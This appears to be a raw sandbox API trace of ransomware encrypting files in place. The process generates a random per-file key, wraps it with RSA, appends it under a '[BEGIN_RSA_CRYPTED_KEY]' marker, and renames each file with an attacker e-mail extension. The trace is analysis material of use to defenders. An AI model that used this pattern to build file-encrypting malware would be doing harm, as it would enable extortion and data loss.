RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0138.886] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0138.886] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0138.886] CreateFileW (lpFileName="\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4b0 [0138.887] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3643) returned 1 [0138.887] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe3b) returned 0x5ed868 [0138.887] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe3b) returned 0x5ee6b0 [0138.887] ReadFile (in: hFile=0x4b0, lpBuffer=0x5ed868, nNumberOfBytesToRead=0xe3b, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0xe3b, lpOverlapped=0x0) returned 1 [0138.903] SetFilePointer (in: hFile=0x4b0, lDistanceToMove=-3643, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0138.903] WriteFile (in: hFile=0x4b0, lpBuffer=0x5ee6b0*, nNumberOfBytesToWrite=0xe3b, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ee6b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe3b, lpOverlapped=0x0) returned 1 [0138.903] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0138.904] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ee6b0 | out: hHeap=0x570000) returned 1 [0138.904] SetFilePointer (in: hFile=0x4b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe3b [0138.904] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0138.904] WriteFile (in: hFile=0x4b0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0138.904] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0138.904] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0138.904] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0138.904] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0138.904] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="sNCt2juP8ox97Ho+DpFVXLtohsAGVPfP/yqr11Plgn2ruT6wb1vDLPGLIBN8+jVp\nAYhI7xdlo2VGemQILja9OLPhT+skFSm1v6wWikGlLr5iRuPY+YUnUW1M6wvPLW2i\naM9/Py3qs3qufRrC970QrzjPNFNRNBitXHNeqJvpYS3cecp/gwV2JvEUDpcBkZ73\nHQI00+VXuUtUI73WCKJVdyK5QRtudwi0iGG04G8hTmlGPl80wCRi5JqECW+5/74/\n0etWFyJVC8mle8LuZtDAO7nOQadO9dKBkb8MKnyKzCuWuQgHq5AsAuOtumSBMKPt\nXWyDlFueFLH8bGgSp4OmLA==\n", pcchString=0x2e3f9a8) returned 1 [0138.904] WriteFile (in: hFile=0x4b0, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0138.904] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0138.904] WriteFile (in: hFile=0x4b0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0138.905] CloseHandle (hObject=0x4b0) returned 1 [0138.916] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0138.917] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1040\\eula.rtf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0138.918] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0138.918] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0138.918] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0138.918] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0138.919] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0138.919] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0138.919] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0138.919] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc9e0 | out: hHeap=0x570000) returned 1 [0138.919] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xffeefa32, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5b59b0 [0138.919] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0138.919] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7450 [0138.919] GetLastError () returned 0x0 [0138.919] SetLastError (dwErrCode=0x0) [0138.919] GetLastError () returned 0x0 [0138.919] SetLastError (dwErrCode=0x0) [0138.919] GetLastError () returned 0x0 [0138.919] SetLastError (dwErrCode=0x0) [0138.919] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eee8 [0138.919] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beec8 [0138.919] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0138.919] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0138.919] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b56b0 [0138.919] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b56b0 | out: hHeap=0x570000) returned 1 [0138.919] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403c0 [0138.919] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403c0 | out: hHeap=0x570000) returned 1 [0138.919] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0138.919] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eee8 | out: hHeap=0x570000) returned 1 [0138.919] FindNextFileW (in: hFindFile=0x5b59b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xffeefa32, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0138.920] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7450 | out: hHeap=0x570000) returned 1 [0138.920] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0138.920] GetLastError () returned 0x0 [0138.920] SetLastError (dwErrCode=0x0) [0138.920] GetLastError () returned 0x0 [0138.920] SetLastError (dwErrCode=0x0) [0138.920] GetLastError () returned 0x0 [0138.920] SetLastError (dwErrCode=0x0) [0138.920] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ec48 [0138.920] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bee18 [0138.920] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee18 | out: hHeap=0x570000) returned 1 [0138.920] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0138.920] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b56b0 [0138.920] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b56b0 | out: hHeap=0x570000) returned 1 [0138.920] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404f8 [0138.920] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404f8 | out: hHeap=0x570000) returned 1 [0138.920] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0138.920] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec48 | out: hHeap=0x570000) returned 1 [0138.920] FindNextFileW (in: hFindFile=0x5b59b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0138.920] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0138.920] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0138.920] GetLastError () returned 0x0 [0138.920] SetLastError (dwErrCode=0x0) [0138.920] GetLastError () returned 0x0 [0138.920] SetLastError (dwErrCode=0x0) [0138.920] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0138.920] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0138.920] GetLastError () returned 0x0 [0138.920] SetLastError (dwErrCode=0x0) [0138.920] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0138.921] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0138.921] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee70 [0138.921] FindNextFileW (in: hFindFile=0x5b59b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0138.921] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0138.921] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0138.921] GetLastError () returned 0x0 [0138.921] SetLastError (dwErrCode=0x0) [0138.921] GetLastError () returned 0x0 [0138.921] SetLastError (dwErrCode=0x0) [0138.921] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0138.921] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0138.921] GetLastError () returned 0x0 [0138.921] SetLastError (dwErrCode=0x0) [0138.921] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e900 [0138.921] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e900 | out: hHeap=0x570000) returned 1 [0138.921] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0138.921] FindNextFileW (in: hFindFile=0x5b59b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffeeb928, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xffeeb928, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xffef418b, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0138.921] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0138.921] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0138.921] GetLastError () returned 0x0 [0138.921] SetLastError (dwErrCode=0x0) [0138.921] GetLastError () returned 0x0 [0138.921] SetLastError (dwErrCode=0x0) [0138.921] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0138.921] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0138.921] GetLastError () returned 0x0 [0138.921] SetLastError (dwErrCode=0x0) [0138.921] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0138.921] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0138.921] FindNextFileW (in: hFindFile=0x5b59b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0138.921] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0138.921] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0138.922] GetLastError () returned 0x0 [0138.922] SetLastError (dwErrCode=0x0) [0138.922] GetLastError () returned 0x0 [0138.922] SetLastError (dwErrCode=0x0) [0138.922] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0138.922] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0138.922] GetLastError () returned 0x0 [0138.922] SetLastError (dwErrCode=0x0) [0138.922] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ef90 [0138.922] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ef90 | out: hHeap=0x570000) returned 1 [0138.922] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6778 [0138.922] FindNextFileW (in: hFindFile=0x5b59b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0138.922] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6368 [0138.922] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0138.922] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0138.922] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1041\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0138.922] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6508 [0138.922] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0138.922] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6508 | out: hHeap=0x570000) returned 1 [0138.923] CreateFileW (lpFileName="\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4b4 [0138.923] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=15704) returned 1 [0138.923] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3d58) returned 0x5ed868 [0138.923] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3d58) returned 0x5f15c8 [0138.923] ReadFile (in: hFile=0x4b4, lpBuffer=0x5ed868, nNumberOfBytesToRead=0x3d58, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0x3d58, lpOverlapped=0x0) returned 1 [0139.015] SetFilePointer (in: hFile=0x4b4, lDistanceToMove=-15704, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.015] WriteFile (in: hFile=0x4b4, lpBuffer=0x5f15c8*, nNumberOfBytesToWrite=0x3d58, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5f15c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3d58, lpOverlapped=0x0) returned 1 [0139.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0139.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5f15c8 | out: hHeap=0x570000) returned 1 [0139.015] SetFilePointer (in: hFile=0x4b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3d58 [0139.015] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0139.015] WriteFile (in: hFile=0x4b4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0139.015] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0139.015] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0139.016] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0139.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0139.016] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="LyhivL3Juy1r0XVSoXf80DiQPaiIZImxEMVJXUeeFIgcGT0inCU85nOFwwiEOh//\nFteps/+/Pq99eq8sXYdM8a+yIvERIcjFWrf3j9uE/pNf0b68wHtaCC1TXjxZe7o9\nUITquPoeex+j8o4pWN7B/iwUPenBuaQDtUdnGuOtGlhcWUHy9UA4OwMRyrEtaL0j\nYqeGuPeuLFF/ZKtNqG/51TKsKHEr8D/o9TOVJrAQ/T6Rrcgro2JX0rBvWDYnkN41\nSiCnt7vgfvvv/kWUrAfhdF71hf3RcDL9iExnADniR/gtho+W/gVWRc1nkE55/7dG\nD/mdRlaXGaTS8NLwadDscA==\n", pcchString=0x2e3f9a8) returned 1 [0139.016] WriteFile (in: hFile=0x4b4, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0139.016] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0139.016] WriteFile (in: hFile=0x4b4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0139.016] CloseHandle (hObject=0x4b4) returned 1 [0139.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0139.017] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1041\\SetupResources.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0139.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0139.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0139.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6368 | out: hHeap=0x570000) returned 1 [0139.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6778 | out: hHeap=0x570000) returned 1 [0139.019] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0139.019] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0139.019] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0139.019] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1041\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0139.020] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0139.020] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0139.020] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0139.020] CreateFileW (lpFileName="\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4b4 [0139.020] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=68226) returned 1 [0139.020] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10a82) returned 0x5ed868 [0139.020] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10a82) returned 0x5fe2f8 [0139.020] ReadFile (in: hFile=0x4b4, lpBuffer=0x5ed868, nNumberOfBytesToRead=0x10a82, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0x10a82, lpOverlapped=0x0) returned 1 [0139.120] SetFilePointer (in: hFile=0x4b4, lDistanceToMove=-68226, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.120] WriteFile (in: hFile=0x4b4, lpBuffer=0x5fe2f8*, nNumberOfBytesToWrite=0x10a82, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5fe2f8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10a82, lpOverlapped=0x0) returned 1 [0139.121] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0139.122] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5fe2f8 | out: hHeap=0x570000) returned 1 [0139.123] SetFilePointer (in: hFile=0x4b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10a82 [0139.123] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0139.123] WriteFile (in: hFile=0x4b4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0139.124] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0139.124] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0139.125] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0139.125] 